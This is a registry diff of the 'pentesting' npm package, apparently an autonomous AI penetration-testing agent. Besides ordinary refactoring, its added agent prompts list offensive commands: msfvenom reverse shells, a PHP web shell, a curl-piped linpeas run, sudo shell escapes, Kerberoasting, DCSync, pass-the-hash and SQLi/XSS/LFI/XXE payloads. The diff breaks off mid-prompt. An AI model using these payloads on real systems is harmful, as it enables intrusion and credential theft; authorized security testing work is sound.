pentesting 0.1.12 → 0.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +177 -80
  2. package/dist/index.js +1969 -331
  3. package/package.json +2 -2
package/dist/index.js CHANGED
@@ -266,7 +266,8 @@ var AGENT_EVENT = {
266
266
  COMPLETE: "complete",
267
267
  REPORT: "report",
268
268
  ERROR: "error",
269
- HINT_RECEIVED: "hint_received"
269
+ HINT_RECEIVED: "hint_received",
270
+ CONTEXT_COMPACTED: "context_compacted"
270
271
  };
271
272
  var CLI_COMMAND = {
272
273
  HELP: "help",
@@ -1373,10 +1374,11 @@ const { chromium } = require('playwright');
1373
1374
  }
1374
1375
 
1375
1376
  // src/config/constants.ts
1376
- var APP_VERSION = "1.0.0";
1377
+ var APP_VERSION = "0.2.1";
1377
1378
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
1378
1379
  var CLAUDE_MODEL = process.env.PENTEST_MODEL || "claude-sonnet-4-20250514";
1379
- var CLAUDE_MAX_TOKENS = 16384;
1380
+ var CLAUDE_MAX_TOKENS = parseInt(process.env.PENTEST_MAX_TOKENS || "16384", 10);
1381
+ var ANTHROPIC_BASE_URL = process.env.ANTHROPIC_BASE_URL || void 0;
1380
1382
  var AGENT_CONFIG = {
1381
1383
  maxIterations: 200,
1382
1384
  maxToolCallsPerIteration: 10,
@@ -1401,85 +1403,10 @@ var PENTEST_PHASES = [
1401
1403
  { id: PHASE_ID.REPORT, name: "Reporting", description: "Documentation" }
1402
1404
  ];
1403
1405
 
1404
- // src/core/agent/agent-loader.ts
1405
- import * as fs2 from "fs/promises";
1406
- import * as path2 from "path";
1407
- import { fileURLToPath } from "url";
1408
- var __dirname = path2.dirname(fileURLToPath(import.meta.url));
1409
- function parseFrontmatter(content) {
1410
- const frontmatterMatch = content.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/);
1411
- if (!frontmatterMatch) {
1412
- throw new Error("Invalid agent file: missing frontmatter");
1413
- }
1414
- const [, frontmatterStr, body] = frontmatterMatch;
1415
- const frontmatter = {};
1416
- for (const line of frontmatterStr.split("\n")) {
1417
- const colonIndex = line.indexOf(":");
1418
- if (colonIndex > 0) {
1419
- const key = line.slice(0, colonIndex).trim();
1420
- let value = line.slice(colonIndex + 1).trim();
1421
- if (value.startsWith("[") && value.endsWith("]")) {
1422
- value = value.slice(1, -1).replace(/"/g, "");
1423
- }
1424
- frontmatter[key] = value;
1425
- }
1426
- }
1427
- return {
1428
- frontmatter,
1429
- body
1430
- };
1431
- }
1432
- async function loadAgent(filePath) {
1433
- const content = await fs2.readFile(filePath, "utf-8");
1434
- const { frontmatter, body } = parseFrontmatter(content);
1435
- const tools = frontmatter.tools ? frontmatter.tools.split(",").map((t) => t.trim()) : [];
1436
- return {
1437
- name: frontmatter.name,
1438
- description: frontmatter.description,
1439
- tools,
1440
- model: frontmatter.model || "sonnet",
1441
- color: frontmatter.color || "white",
1442
- content: body,
1443
- filePath
1444
- };
1445
- }
1446
- async function loadAllAgents(agentsDir) {
1447
- const dir = agentsDir || path2.resolve(__dirname, "../../../../plugins/pentesting-core/agents");
1448
- try {
1449
- await fs2.access(dir);
1450
- } catch {
1451
- return [];
1452
- }
1453
- const files = await fs2.readdir(dir);
1454
- const agents = [];
1455
- for (const file of files) {
1456
- if (file.endsWith(".md")) {
1457
- try {
1458
- const agent = await loadAgent(path2.join(dir, file));
1459
- agents.push(agent);
1460
- } catch {
1461
- }
1462
- }
1463
- }
1464
- return agents;
1465
- }
1466
- function buildAgentPrompt(agent, basePrompt) {
1467
- return `${basePrompt}
1468
-
1469
- <current_agent>
1470
- Name: ${agent.name}
1471
- Description: ${agent.description}
1472
- Specialized Tools: ${agent.tools.join(", ")}
1473
-
1474
- ${agent.content}
1475
- </current_agent>
1476
- `;
1477
- }
1478
-
1479
1406
  // src/core/hooks/hook-executor.ts
1480
1407
  import { spawn as spawn2 } from "child_process";
1481
- import * as fs3 from "fs/promises";
1482
- import * as path3 from "path";
1408
+ import * as fs2 from "fs/promises";
1409
+ import * as path2 from "path";
1483
1410
  import { EventEmitter } from "events";
1484
1411
  var HookExecutor = class extends EventEmitter {
1485
1412
  hooksConfig = null;
@@ -1487,13 +1414,13 @@ var HookExecutor = class extends EventEmitter {
1487
1414
  initialized = false;
1488
1415
  constructor(pluginDir = "plugins/pentesting-core") {
1489
1416
  super();
1490
- this.hooksDir = path3.join(process.cwd(), pluginDir, "hooks");
1417
+ this.hooksDir = path2.join(process.cwd(), pluginDir, "hooks");
1491
1418
  }
1492
1419
  // Initialize hook system
1493
1420
  async initialize() {
1494
1421
  try {
1495
- const configPath = path3.join(this.hooksDir, "hooks.json");
1496
- const configContent = await fs3.readFile(configPath, "utf-8");
1422
+ const configPath = path2.join(this.hooksDir, "hooks.json");
1423
+ const configContent = await fs2.readFile(configPath, "utf-8");
1497
1424
  this.hooksConfig = JSON.parse(configContent);
1498
1425
  this.initialized = true;
1499
1426
  this.emit("initialized", { hooks: Object.keys(this.hooksConfig?.hooks || {}) });
@@ -1520,11 +1447,11 @@ var HookExecutor = class extends EventEmitter {
1520
1447
  }
1521
1448
  // Execute single hook
1522
1449
  async executeHook(hook, context) {
1523
- return new Promise((resolve2) => {
1450
+ return new Promise((resolve) => {
1524
1451
  const timeout = hook.timeout || 1e4;
1525
1452
  let command = hook.command;
1526
1453
  if (command.startsWith("./")) {
1527
- command = path3.join(this.hooksDir, command.slice(2));
1454
+ command = path2.join(this.hooksDir, command.slice(2));
1528
1455
  }
1529
1456
  const env = {
1530
1457
  ...process.env,
@@ -1559,7 +1486,7 @@ var HookExecutor = class extends EventEmitter {
1559
1486
  decision = "modify";
1560
1487
  reason = output.split("MODIFY:")[1]?.split("\n")[0]?.trim() || "";
1561
1488
  }
1562
- resolve2({
1489
+ resolve({
1563
1490
  success: code === 0,
1564
1491
  output,
1565
1492
  decision,
@@ -1567,7 +1494,7 @@ var HookExecutor = class extends EventEmitter {
1567
1494
  });
1568
1495
  });
1569
1496
  proc.on("error", (error) => {
1570
- resolve2({
1497
+ resolve({
1571
1498
  success: false,
1572
1499
  output: error.message,
1573
1500
  decision: "proceed"
@@ -1607,131 +1534,6 @@ function getHookExecutor() {
1607
1534
  return hookExecutor;
1608
1535
  }
1609
1536
 
1610
- // src/core/commands/command-parser.ts
1611
- import * as fs4 from "fs/promises";
1612
- import * as path4 from "path";
1613
- function parseCommand(input) {
1614
- const trimmed = input.trim();
1615
- if (!trimmed.startsWith("/")) {
1616
- return null;
1617
- }
1618
- const parts = trimmed.slice(1).split(/\s+/);
1619
- const command = parts[0];
1620
- const rawArgs = parts.slice(1);
1621
- return {
1622
- command,
1623
- args: {},
1624
- rawArgs
1625
- };
1626
- }
1627
- async function loadCommand(filePath) {
1628
- try {
1629
- const content = await fs4.readFile(filePath, "utf-8");
1630
- const frontmatterMatch = content.match(/^---\n([\s\S]*?)\n---/);
1631
- if (!frontmatterMatch) {
1632
- return null;
1633
- }
1634
- const frontmatter = frontmatterMatch[1];
1635
- const name = path4.basename(filePath, ".md");
1636
- const descMatch = frontmatter.match(/description:\s*(.+)/);
1637
- const description = descMatch ? descMatch[1].trim() : "";
1638
- const argsMatch = frontmatter.match(/arguments:\s*\n((?:\s+-.*\n?)*)/);
1639
- const arguments_ = [];
1640
- if (argsMatch) {
1641
- const argLines = argsMatch[1].split("\n").filter((l) => l.trim().startsWith("-"));
1642
- for (const line of argLines) {
1643
- const match = line.match(/-\s*(\w+):\s*(.+)/);
1644
- if (match) {
1645
- arguments_.push({
1646
- name: match[1],
1647
- required: !match[2].includes("optional"),
1648
- description: match[2].replace(/\(.*?\)/g, "").trim()
1649
- });
1650
- }
1651
- }
1652
- }
1653
- return {
1654
- name,
1655
- description,
1656
- arguments: arguments_,
1657
- content: content.slice(frontmatterMatch[0].length).trim()
1658
- };
1659
- } catch {
1660
- return null;
1661
- }
1662
- }
1663
- var CommandRegistry = class {
1664
- commands = /* @__PURE__ */ new Map();
1665
- commandsDir;
1666
- initialized = false;
1667
- constructor(pluginDir = "plugins/pentesting-core") {
1668
- this.commandsDir = path4.join(process.cwd(), pluginDir, "commands");
1669
- }
1670
- // Load all commands from directory
1671
- async initialize() {
1672
- try {
1673
- const files = await fs4.readdir(this.commandsDir);
1674
- for (const file of files) {
1675
- if (file.endsWith(".md")) {
1676
- const cmd = await loadCommand(path4.join(this.commandsDir, file));
1677
- if (cmd) {
1678
- this.commands.set(cmd.name, cmd);
1679
- }
1680
- }
1681
- }
1682
- this.initialized = true;
1683
- } catch {
1684
- this.initialized = true;
1685
- }
1686
- }
1687
- // Get command by name
1688
- async getCommand(name) {
1689
- if (!this.initialized) {
1690
- await this.initialize();
1691
- }
1692
- return this.commands.get(name) || null;
1693
- }
1694
- // Get all available commands
1695
- async getAvailableCommands() {
1696
- if (!this.initialized) {
1697
- await this.initialize();
1698
- }
1699
- return Array.from(this.commands.values());
1700
- }
1701
- // Check if command exists
1702
- async hasCommand(name) {
1703
- if (!this.initialized) {
1704
- await this.initialize();
1705
- }
1706
- return this.commands.has(name);
1707
- }
1708
- // Build help text for a command
1709
- async getHelp(name) {
1710
- if (name) {
1711
- const cmd = await this.getCommand(name);
1712
- if (!cmd) {
1713
- return `Unknown command: ${name}`;
1714
- }
1715
- const args = cmd.arguments.map((a) => ` ${a.required ? "<" : "["}${a.name}${a.required ? ">" : "]"} - ${a.description}`).join("\n");
1716
- return `/${cmd.name} - ${cmd.description}
1717
-
1718
- Arguments:
1719
- ${args || " (none)"}`;
1720
- }
1721
- const commands = await this.getAvailableCommands();
1722
- const list = commands.map((c) => ` /${c.name} - ${c.description}`).join("\n");
1723
- return `Available Commands:
1724
- ${list || " (no commands loaded)"}`;
1725
- }
1726
- };
1727
- var commandRegistry = null;
1728
- function getCommandRegistry() {
1729
- if (!commandRegistry) {
1730
- commandRegistry = new CommandRegistry();
1731
- }
1732
- return commandRegistry;
1733
- }
1734
-
1735
1537
  // src/mcp/mcp-client.ts
1736
1538
  import { spawn as spawn3 } from "child_process";
1737
1539
  import { EventEmitter as EventEmitter2 } from "events";
@@ -1750,7 +1552,7 @@ var MCPClient = class extends EventEmitter2 {
1750
1552
  }
1751
1553
  // Start MCP server
1752
1554
  async connect() {
1753
- return new Promise((resolve2, reject) => {
1555
+ return new Promise((resolve, reject) => {
1754
1556
  const { command, args, env } = this.config;
1755
1557
  this.process = spawn3(command, args || [], {
1756
1558
  env: { ...process.env, ...env },
@@ -1781,7 +1583,7 @@ var MCPClient = class extends EventEmitter2 {
1781
1583
  this.process.on("spawn", () => {
1782
1584
  this.connected = true;
1783
1585
  this.emit("connected", { server: this.serverName });
1784
- resolve2();
1586
+ resolve();
1785
1587
  });
1786
1588
  this.process.on("close", (code) => {
1787
1589
  this.connected = false;
@@ -1801,8 +1603,8 @@ var MCPClient = class extends EventEmitter2 {
1801
1603
  method,
1802
1604
  params
1803
1605
  };
1804
- return new Promise((resolve2, reject) => {
1805
- this.pendingRequests.set(id, { resolve: resolve2, reject });
1606
+ return new Promise((resolve, reject) => {
1607
+ this.pendingRequests.set(id, { resolve, reject });
1806
1608
  const line = JSON.stringify(request) + "\n";
1807
1609
  this.process.stdin.write(line, (error) => {
1808
1610
  if (error) {
@@ -1906,79 +1708,1207 @@ var MCPManager = class extends EventEmitter2 {
1906
1708
  if (!client) {
1907
1709
  throw new Error(`MCP server not connected: ${entry.server}`);
1908
1710
  }
1909
- return client.callTool(toolName, args);
1910
- }
1911
- // Get all available tools
1912
- getAvailableTools() {
1913
- return Array.from(this.tools.values()).map((e) => e.tool);
1711
+ return client.callTool(toolName, args);
1712
+ }
1713
+ // Get all available tools
1714
+ getAvailableTools() {
1715
+ return Array.from(this.tools.values()).map((e) => e.tool);
1716
+ }
1717
+ // Disconnect all
1718
+ async disconnectAll() {
1719
+ for (const client of this.clients.values()) {
1720
+ await client.disconnect();
1721
+ }
1722
+ this.clients.clear();
1723
+ this.tools.clear();
1724
+ }
1725
+ };
1726
+ var mcpManager = null;
1727
+ function getMCPManager() {
1728
+ if (!mcpManager) {
1729
+ mcpManager = new MCPManager();
1730
+ }
1731
+ return mcpManager;
1732
+ }
1733
+
1734
+ // src/core/tools/web-search.ts
1735
+ import { spawn as spawn4 } from "child_process";
1736
+ async function searchDuckDuckGo(query, options = {}) {
1737
+ const { maxResults = 10, timeout = 3e4 } = options;
1738
+ return new Promise((resolve) => {
1739
+ const url = `https://html.duckduckgo.com/html/?q=${encodeURIComponent(query)}`;
1740
+ const proc = spawn4("curl", [
1741
+ "-s",
1742
+ "-A",
1743
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
1744
+ url
1745
+ ], { timeout });
1746
+ let stdout = "";
1747
+ proc.stdout.on("data", (data) => {
1748
+ stdout += data.toString();
1749
+ });
1750
+ proc.on("close", () => {
1751
+ const results = [];
1752
+ const resultRegex = /<a[^>]+class="result__a"[^>]+href="([^"]+)"[^>]*>([^<]+)<\/a>/g;
1753
+ const snippetRegex = /<a[^>]+class="result__snippet"[^>]*>([^<]+)<\/a>/g;
1754
+ let match;
1755
+ const urls = [];
1756
+ const titles = [];
1757
+ const snippets = [];
1758
+ while ((match = resultRegex.exec(stdout)) !== null) {
1759
+ urls.push(match[1]);
1760
+ titles.push(match[2]);
1761
+ }
1762
+ while ((match = snippetRegex.exec(stdout)) !== null) {
1763
+ snippets.push(match[1]);
1764
+ }
1765
+ for (let i = 0; i < Math.min(urls.length, maxResults); i++) {
1766
+ results.push({
1767
+ title: titles[i] || "",
1768
+ url: urls[i] || "",
1769
+ snippet: snippets[i] || ""
1770
+ });
1771
+ }
1772
+ resolve(results);
1773
+ });
1774
+ proc.on("error", () => {
1775
+ resolve([]);
1776
+ });
1777
+ });
1778
+ }
1779
+ async function searchCVE(query) {
1780
+ return searchDuckDuckGo(`${query} site:cve.mitre.org OR site:nvd.nist.gov`);
1781
+ }
1782
+ async function searchExploits(query) {
1783
+ return searchDuckDuckGo(`${query} site:exploit-db.com OR site:github.com exploit`);
1784
+ }
1785
+
1786
+ // src/utils/retry.ts
1787
+ var DEFAULT_OPTIONS = {
1788
+ maxRetries: 3,
1789
+ initialDelay: 300,
1790
+ maxDelay: 1e4,
1791
+ jitter: true,
1792
+ retryableErrors: isRetryableError
1793
+ };
1794
+ function isRetryableError(error) {
1795
+ const message = error.message.toLowerCase();
1796
+ if (message.includes("network") || message.includes("timeout") || message.includes("econnrefused") || message.includes("econnreset") || message.includes("socket hang up")) {
1797
+ return true;
1798
+ }
1799
+ if (message.includes("rate limit") || message.includes("429")) {
1800
+ return true;
1801
+ }
1802
+ if (message.includes("500") || message.includes("502") || message.includes("503") || message.includes("504")) {
1803
+ return true;
1804
+ }
1805
+ if (message.includes("overloaded") || message.includes("capacity")) {
1806
+ return true;
1807
+ }
1808
+ return false;
1809
+ }
1810
+ function calculateDelay(attempt, options) {
1811
+ let delay = options.initialDelay * Math.pow(2, attempt);
1812
+ delay = Math.min(delay, options.maxDelay);
1813
+ if (options.jitter) {
1814
+ delay += Math.random() * delay * 0.5;
1815
+ }
1816
+ return Math.floor(delay);
1817
+ }
1818
+ async function withRetry(fn, options = {}) {
1819
+ const opts = { ...DEFAULT_OPTIONS, ...options };
1820
+ let lastError;
1821
+ for (let attempt = 0; attempt < opts.maxRetries; attempt++) {
1822
+ try {
1823
+ return await fn();
1824
+ } catch (error) {
1825
+ lastError = error instanceof Error ? error : new Error(String(error));
1826
+ const isRetryable = opts.retryableErrors?.(lastError) ?? false;
1827
+ if (!isRetryable) {
1828
+ throw lastError;
1829
+ }
1830
+ if (attempt === opts.maxRetries - 1) {
1831
+ throw lastError;
1832
+ }
1833
+ const delay = calculateDelay(attempt, opts);
1834
+ opts.onRetry?.(attempt + 1, lastError, delay);
1835
+ await new Promise((resolve) => setTimeout(resolve, delay));
1836
+ }
1837
+ }
1838
+ throw lastError ?? new Error("Retry failed with no error");
1839
+ }
1840
+
1841
+ // src/core/context/compaction.ts
1842
+ var COMPACTION_PROMPT = `You are a conversation compactor. Your task is to summarize the conversation history while preserving:
1843
+ 1. All important findings and discoveries
1844
+ 2. Key decisions and their rationale
1845
+ 3. Current state and progress
1846
+ 4. Any errors or issues encountered
1847
+ 5. Next steps or pending actions
1848
+
1849
+ Create a concise summary that another AI can use to continue this conversation seamlessly.
1850
+ Format the summary as a structured overview with sections for:
1851
+ - Objective
1852
+ - Progress Made
1853
+ - Key Findings
1854
+ - Current State
1855
+ - Next Steps
1856
+
1857
+ Keep the summary under 2000 tokens while preserving all critical information.`;
1858
+ function estimateTokens(text) {
1859
+ return Math.ceil(text.length / 4);
1860
+ }
1861
+ function getHistoryTokens(messages) {
1862
+ return messages.reduce((total, msg) => {
1863
+ const content = typeof msg.content === "string" ? msg.content : JSON.stringify(msg.content);
1864
+ return total + estimateTokens(content);
1865
+ }, 0);
1866
+ }
1867
+ function needsCompaction(messages, maxTokens = 15e4, minMessages = 10) {
1868
+ if (messages.length < minMessages) return false;
1869
+ return getHistoryTokens(messages) > maxTokens;
1870
+ }
1871
+ async function compactHistory(client, messages, keepRecent = 4) {
1872
+ const originalTokens = getHistoryTokens(messages);
1873
+ const recentMessages = messages.slice(-keepRecent);
1874
+ const oldMessages = messages.slice(0, -keepRecent);
1875
+ if (oldMessages.length === 0) {
1876
+ return {
1877
+ messages,
1878
+ originalTokens,
1879
+ compactedTokens: originalTokens,
1880
+ compactionRatio: 1
1881
+ };
1882
+ }
1883
+ const historyText = oldMessages.map((msg) => {
1884
+ const content = typeof msg.content === "string" ? msg.content : JSON.stringify(msg.content);
1885
+ return `[${msg.role.toUpperCase()}]: ${content}`;
1886
+ }).join("\n\n");
1887
+ const response = await client.messages.create({
1888
+ model: CLAUDE_MODEL,
1889
+ max_tokens: CLAUDE_MAX_TOKENS,
1890
+ system: COMPACTION_PROMPT,
1891
+ messages: [{
1892
+ role: "user",
1893
+ content: `Please summarize this conversation history:
1894
+
1895
+ ${historyText}`
1896
+ }]
1897
+ });
1898
+ const summary = response.content.filter((block) => block.type === "text").map((block) => block.text).join("\n");
1899
+ const compactedMessages = [
1900
+ {
1901
+ role: "user",
1902
+ content: `[CONVERSATION SUMMARY]
1903
+ ${summary}
1904
+
1905
+ [Previous conversation has been compacted for context efficiency. Continue from here.]`
1906
+ },
1907
+ ...recentMessages
1908
+ ];
1909
+ const compactedTokens = getHistoryTokens(compactedMessages);
1910
+ return {
1911
+ messages: compactedMessages,
1912
+ originalTokens,
1913
+ compactedTokens,
1914
+ compactionRatio: compactedTokens / originalTokens
1915
+ };
1916
+ }
1917
+ var ContextManager = class {
1918
+ maxTokens;
1919
+ warningThreshold;
1920
+ client;
1921
+ constructor(client, options) {
1922
+ this.client = client;
1923
+ this.maxTokens = options?.maxTokens ?? 15e4;
1924
+ this.warningThreshold = options?.warningThreshold ?? 12e4;
1925
+ }
1926
+ /**
1927
+ * Check context status
1928
+ */
1929
+ checkStatus(messages) {
1930
+ const tokens = getHistoryTokens(messages);
1931
+ const percentage = tokens / this.maxTokens;
1932
+ return {
1933
+ tokens,
1934
+ percentage,
1935
+ needsCompaction: tokens > this.maxTokens,
1936
+ warning: tokens > this.warningThreshold
1937
+ };
1938
+ }
1939
+ /**
1940
+ * Compact if needed
1941
+ */
1942
+ async compactIfNeeded(messages) {
1943
+ if (!needsCompaction(messages, this.maxTokens)) {
1944
+ return { messages, wasCompacted: false };
1945
+ }
1946
+ const result = await compactHistory(this.client, messages);
1947
+ return {
1948
+ messages: result.messages,
1949
+ wasCompacted: true,
1950
+ result
1951
+ };
1952
+ }
1953
+ };
1954
+
1955
+ // src/agents/index.ts
1956
+ var TARGET_EXPLORER = {
1957
+ name: "target-explorer",
1958
+ description: "Deeply analyze target systems by tracing execution paths, data flows, and attack surfaces.",
1959
+ phase: "recon",
1960
+ tools: ["bash", "nmap", "masscan", "gobuster", "dnsrecon", "enum4linux"],
1961
+ systemPrompt: `# Target Explorer Agent
1962
+
1963
+ You are a reconnaissance specialist who deeply analyzes target systems by mapping attack surfaces, enumeration, and vulnerability identification.
1964
+
1965
+ ## Core Process
1966
+
1967
+ **1. Network Discovery**
1968
+ Identify all live hosts, open ports, and running services. Map the network topology.
1969
+
1970
+ **2. Service Enumeration**
1971
+ For each discovered service, perform detailed enumeration. Identify versions, configurations, and potential vulnerabilities.
1972
+
1973
+ **3. Attack Surface Mapping**
1974
+ Map all entry points: web endpoints, APIs, network services, input handlers. Document authentication mechanisms.
1975
+
1976
+ **4. Data Flow Analysis**
1977
+ Trace how data flows through the system. Identify trust boundaries and potential bypass opportunities.
1978
+
1979
+ ## Tools to Use
1980
+
1981
+ \`\`\`bash
1982
+ # Network discovery
1983
+ nmap -sn 10.0.0.0/24
1984
+
1985
+ # Port scan (comprehensive)
1986
+ nmap -sCV -T4 -p- <target>
1987
+
1988
+ # Web enumeration
1989
+ gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/common.txt
1990
+
1991
+ # DNS
1992
+ dig axfr <domain> @<ns>
1993
+ dnsrecon -d <domain>
1994
+
1995
+ # SMB
1996
+ smbclient -L //<target>
1997
+ enum4linux -a <target>
1998
+ \`\`\`
1999
+
2000
+ ## Output Format
2001
+
2002
+ Deliver a comprehensive analysis:
2003
+ - **Live Hosts**: All discovered hosts with OS fingerprinting
2004
+ - **Open Ports/Services**: Port \u2192 Service \u2192 Version mapping
2005
+ - **Web Applications**: URLs, technologies, entry points
2006
+ - **Attack Surface Map**: Visual or text representation
2007
+ - **Potential Vulnerabilities**: CVE matches, misconfigurations
2008
+ - **Credentials Found**: Any default creds, exposed secrets
2009
+ - **Next Steps**: Prioritized exploitation recommendations
2010
+
2011
+ Be thorough but focused on actionable findings.`
2012
+ };
2013
+ var EXPLOIT_RESEARCHER = {
2014
+ name: "exploit-researcher",
2015
+ description: "CVE research, exploit development, payload crafting. Find/analyze exploits for identified services.",
2016
+ phase: "vuln-analysis",
2017
+ tools: ["bash", "searchsploit", "msfconsole", "msfvenom"],
2018
+ systemPrompt: `# Exploit Researcher
2019
+
2020
+ Expert in vulnerability research and exploit development.
2021
+
2022
+ ## Workflow
2023
+
2024
+ 1. Identify exact service version
2025
+ 2. Search CVE databases
2026
+ 3. Find and evaluate PoCs
2027
+ 4. Adapt payload for target
2028
+ 5. Test safely before deployment
2029
+
2030
+ ## CVE Search
2031
+
2032
+ \`\`\`bash
2033
+ searchsploit "Apache 2.4.49"
2034
+ searchsploit -m 50383 # Mirror exploit
2035
+
2036
+ # Online resources
2037
+ # nvd.nist.gov, cvedetails.com, exploit-db.com
2038
+ \`\`\`
2039
+
2040
+ ## Common High-Impact CVEs
2041
+
2042
+ | Service | CVE | Type |
2043
+ |---------|-----|------|
2044
+ | Apache 2.4.49 | CVE-2021-41773 | Path Traversal/RCE |
2045
+ | Log4j | CVE-2021-44228 | RCE (Log4Shell) |
2046
+ | SMB | MS17-010 | RCE (EternalBlue) |
2047
+ | vsftpd 2.3.4 | CVE-2011-2523 | Backdoor |
2048
+ | Drupal | CVE-2018-7600 | RCE (Drupalgeddon2) |
2049
+ | Apache Struts | CVE-2017-5638 | RCE |
2050
+ | ProxyShell | CVE-2021-34473 | Exchange RCE |
2051
+ | PrintNightmare | CVE-2021-1675 | Windows RCE |
2052
+
2053
+ ## Payload Generation
2054
+
2055
+ \`\`\`bash
2056
+ # Linux reverse shells
2057
+ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell
2058
+ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf -o meterpreter
2059
+
2060
+ # Windows reverse shells
2061
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe
2062
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o meterpreter.exe
2063
+
2064
+ # Web shells
2065
+ <?php system($_GET['c']); ?>
2066
+ \`\`\`
2067
+
2068
+ ## Quality Guidelines
2069
+ - Always read PoC source code before using
2070
+ - Test in isolation if possible
2071
+ - Prefer non-destructive exploits
2072
+ - Document every modification made`
2073
+ };
2074
+ var PRIVESC_MASTER = {
2075
+ name: "privesc-master",
2076
+ description: "Privilege escalation on compromised systems. Use when you have low-privilege shell and need root/SYSTEM.",
2077
+ phase: "privesc",
2078
+ tools: ["bash", "linpeas", "winpeas", "pspy"],
2079
+ systemPrompt: `# Privesc Master
2080
+
2081
+ Expert in post-exploitation and privilege escalation.
2082
+
2083
+ ## Linux Privilege Escalation
2084
+
2085
+ ### Quick Checklist
2086
+ \`\`\`bash
2087
+ # 1. Sudo permissions
2088
+ sudo -l
2089
+
2090
+ # 2. SUID binaries
2091
+ find / -perm -4000 2>/dev/null
2092
+
2093
+ # 3. Capabilities
2094
+ getcap -r / 2>/dev/null
2095
+
2096
+ # 4. Cron jobs
2097
+ cat /etc/crontab
2098
+ ls -la /etc/cron.*
2099
+
2100
+ # 5. Kernel version
2101
+ uname -r
2102
+ cat /etc/os-release
2103
+
2104
+ # 6. Writable directories
2105
+ find / -writable -type d 2>/dev/null
2106
+ \`\`\`
2107
+
2108
+ ### Automated Enumeration
2109
+ \`\`\`bash
2110
+ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
2111
+ \`\`\`
2112
+
2113
+ ### GTFOBins Exploits
2114
+ \`\`\`bash
2115
+ # vim
2116
+ sudo vim -c ':!/bin/sh'
2117
+
2118
+ # find
2119
+ sudo find . -exec /bin/sh \\;
2120
+
2121
+ # python
2122
+ sudo python -c 'import os; os.system("/bin/sh")'
2123
+
2124
+ # nmap
2125
+ sudo nmap --interactive
2126
+ !sh
2127
+
2128
+ # awk
2129
+ sudo awk 'BEGIN {system("/bin/sh")}'
2130
+ \`\`\`
2131
+
2132
+ ## Windows Privilege Escalation
2133
+
2134
+ ### Quick Checklist
2135
+ \`\`\`powershell
2136
+ # 1. Current privileges
2137
+ whoami /priv
2138
+
2139
+ # 2. Unquoted service paths
2140
+ wmic service get name,pathname | findstr /i "C:\\"
2141
+
2142
+ # 3. AlwaysInstallElevated
2143
+ reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated
2144
+
2145
+ # 4. Stored credentials
2146
+ cmdkey /list
2147
+
2148
+ # 5. Scheduled tasks
2149
+ schtasks /query /fo LIST /v
2150
+ \`\`\`
2151
+
2152
+ ### Token Impersonation (Potato Attacks)
2153
+ \`\`\`powershell
2154
+ # If SeImpersonatePrivilege enabled
2155
+ .\\PrintSpoofer.exe -i -c cmd
2156
+ .\\GodPotato.exe -cmd "cmd /c whoami"
2157
+ .\\JuicyPotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c whoami" -t *
2158
+ \`\`\`
2159
+
2160
+ ## Active Directory Attacks
2161
+
2162
+ ### Kerberoasting
2163
+ \`\`\`bash
2164
+ GetUserSPNs.py -request -dc-ip DC_IP DOMAIN/USER:PASS
2165
+ hashcat -m 13100 kerberoast.txt rockyou.txt
2166
+ \`\`\`
2167
+
2168
+ ### AS-REP Roasting
2169
+ \`\`\`bash
2170
+ GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP
2171
+ \`\`\`
2172
+
2173
+ ### DCSync
2174
+ \`\`\`bash
2175
+ secretsdump.py DOMAIN/ADMIN:PASS@DC_IP
2176
+ \`\`\`
2177
+
2178
+ ### Pass-the-Hash
2179
+ \`\`\`bash
2180
+ psexec.py -hashes :NTLM_HASH DOMAIN/ADMIN@TARGET
2181
+ wmiexec.py -hashes :NTLM_HASH DOMAIN/ADMIN@TARGET
2182
+ \`\`\``
2183
+ };
2184
+ var WEB_HACKER = {
2185
+ name: "web-hacker",
2186
+ description: "Web application testing. OWASP vulnerabilities, SQLi, XSS, auth bypass, SSRF.",
2187
+ phase: "enum",
2188
+ tools: ["bash", "sqlmap", "gobuster", "ffuf", "nikto", "nuclei", "burp"],
2189
+ systemPrompt: `# Web Hacker
2190
+
2191
+ Expert in web application security testing.
2192
+
2193
+ ## Methodology
2194
+
2195
+ 1. Map application (endpoints, params, auth flows)
2196
+ 2. Test inputs for injection
2197
+ 3. Check authentication/authorization
2198
+ 4. Look for misconfigurations
2199
+ 5. Exploit and escalate
2200
+
2201
+ ## Quick Tests
2202
+
2203
+ \`\`\`bash
2204
+ # Directory enumeration
2205
+ gobuster dir -u http://TARGET -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php,bak,txt
2206
+
2207
+ # SQLi detection
2208
+ sqlmap -u "http://TARGET/page?id=1" --batch --dbs
2209
+
2210
+ # Vulnerability scan
2211
+ nikto -h http://TARGET
2212
+ nuclei -u http://TARGET -t cves/
2213
+ \`\`\`
2214
+
2215
+ ## OWASP Top 10 Checklist
2216
+
2217
+ | Vuln | Test | Payload |
2218
+ |------|------|---------|
2219
+ | SQLi | All input fields | \`' OR '1'='1\`, \`' UNION SELECT 1,2,3--\` |
2220
+ | XSS | Reflections | \`<script>alert(1)</script>\`, \`<img src=x onerror=alert(1)>\` |
2221
+ | LFI | File parameters | \`../../../../etc/passwd\`, \`php://filter/convert.base64-encode/resource=\` |
2222
+ | SSRF | URL inputs | \`http://169.254.169.254\`, \`http://127.0.0.1\` |
2223
+ | IDOR | ID parameters | Change user IDs, sequential enumeration |
2224
+ | XXE | XML inputs | \`<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>\` |
2225
+
2226
+ ## Auth Testing
2227
+
2228
+ \`\`\`bash
2229
+ # Default credentials
2230
